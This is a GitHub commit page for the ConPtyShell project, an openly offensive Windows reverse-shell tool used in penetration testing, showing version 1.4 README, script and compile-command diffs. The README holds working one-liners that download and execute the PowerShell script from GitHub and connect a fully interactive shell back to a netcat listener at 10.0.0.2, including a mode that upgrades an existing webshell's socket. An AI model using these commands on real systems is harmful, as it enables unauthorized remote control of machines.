Skip to content

Commit 4b1be3c

Browse files
authored
Merge pull request #5 from antonioCoco/dev
Upgrade to version 1.4
2 parents d2d74a6 + 212f87b commit 4b1be3c

8 files changed

Lines changed: 1477 additions & 662 deletions

ConPtyShell.cs

Lines changed: 731 additions & 315 deletions
Large diffs are not rendered by default.

Invoke-ConPtyShell.ps1

Lines changed: 731 additions & 315 deletions
Large diffs are not rendered by default.

Invoke-ConPtyShell2.ps1

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

README.md

Lines changed: 11 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ Then starts 2 Threads for Async I/O:<br>
1010
- one thread for reading from the socket and writing to Pseudo Console input pipe;<br>
1111
- the second thread for reading from the Pseudo Console output pipe and writing to the socket.</p>
1212

13-
ConPtyShell has also the magic button "Upgrade to fully interactive" for your reverse shell, just use it as your needs :)
13+
ConPtyShell has also the magic flag "Upgrade" that transform your current shell in a fully interactive one, use it if you don't want to use a new connection and want to hijack your current shell socket :)
1414

1515
If you want to know further information regarding ConPty you can find a great article [1] in the references section.
1616

@@ -40,12 +40,6 @@ stty raw -echo; (stty size; cat) | nc -lvnp 3001
4040
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
4141
```
4242

43-
or, if you upload the ps1:
44-
45-
```
46-
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001
47-
```
48-
4943
#### Method 2
5044
If you prefer to have more freedom on the tcp listener and your terminal you can proceed with a "Manual" way to get the reverse shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function:
5145

@@ -55,46 +49,33 @@ stty size
5549
nc -lvnp 3001
5650
Wait For connection
5751
ctrl+z
58-
stty raw -echo
59-
fg[ENTER]
52+
stty raw -echo; fg[ENTER]
6053
```
6154
##### Client Side:
6255
Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols
6356
```
6457
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
6558
```
6659

67-
or, if you upload the ps1:
68-
69-
```
70-
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
71-
```
72-
7360
#### Method 3 - Upgrade
7461
You can also upgrade your current shell to a fully interecative shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function:
7562

76-
**WARN1: Do not use Invoke-WebRequest if you load the assembly directly in powershell because ConPtyShell won't work properly when multiple sockets (and multiple \Device\Afd) are found in the current process**
77-
78-
**WARN2: Only sockets created with the flag WSA_FLAG_OVERLAPPED are compatible with the upgrade. Non overlapped sockets won't give a nice upgraded shell and it will have locks on I/O operations.**
79-
8063
##### Server Side:
8164
```
8265
stty size
8366
nc -lvnp 3001
8467
Wait For connection
8568
ctrl+z
86-
stty raw -echo
87-
fg[ENTER]
69+
stty raw -echo; fg[ENTER]
8870
```
8971
##### Client Side:
9072
Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols
9173

9274
```
93-
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80
75+
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80
9476
```
9577

96-
97-
#### Change Console Size
78+
## Change Console Size
9879

9980
In any case if you resize your terminal while you have already open the remote shell you can change the rows and cols size directly from powershell pasting the following code:
10081

@@ -106,13 +87,15 @@ $Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Ho
10687
```
10788

10889
## Demo
109-
Below in the video you can watch a simulated scenario where on the left terminal i have a limited access to the server through a webshell and on the right i spawn a fully interactive reverse shell playing around:
90+
Below you can watch 2 demos. The first gif using the **Method 1** with the compiled assemlby in exe format, the second gif is showing the **Method 3** by upgrading your current shell with the ps1 script:
91+
92+
#### Method 1
11093

111-
<img src="https://drive.google.com/uc?id=1xPfNYjhTI5LpovDIustGxkzjNNg2Hc6l">
94+
<img src="demo_1.gif">
11295

113-
### Upgrade demo
96+
#### Method 3 - Upgrade demo
11497

115-
<img src="https://drive.google.com/uc?id=1PRuy_qgezsG0rQ7kjSYl6hxlJMLobTh8">
98+
<img src="demo_2.gif">
11699

117100
## References
118101

base64_conversion_commands.ps1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
1-
$Filename = (Get-Location).Path + "\ConPtyShell_net2.exe"
1+
$Filename = (Get-Location).Path + "\ConPtyShell_dotnet2.exe"
22
$base64string_x64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
33
$base64string_x64 | Out-File ConPtyShell.base64

compile_command.txt

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
.NET 4.0
2-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:ConPtyShell_net4.exe ConPtyShell.cs
2+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:ConPtyShell.exe ConPtyShell.cs
33

44
.NET 2.0
5-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:ConPtyShell_net2.exe ConPtyShell.cs
5+
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:ConPtyShell_dotnet2.exe ConPtyShell.cs

demo_1.gif

7.5 MB
Loading

demo_2.gif

6.08 MB
Loading

0 commit comments

Comments
 (0)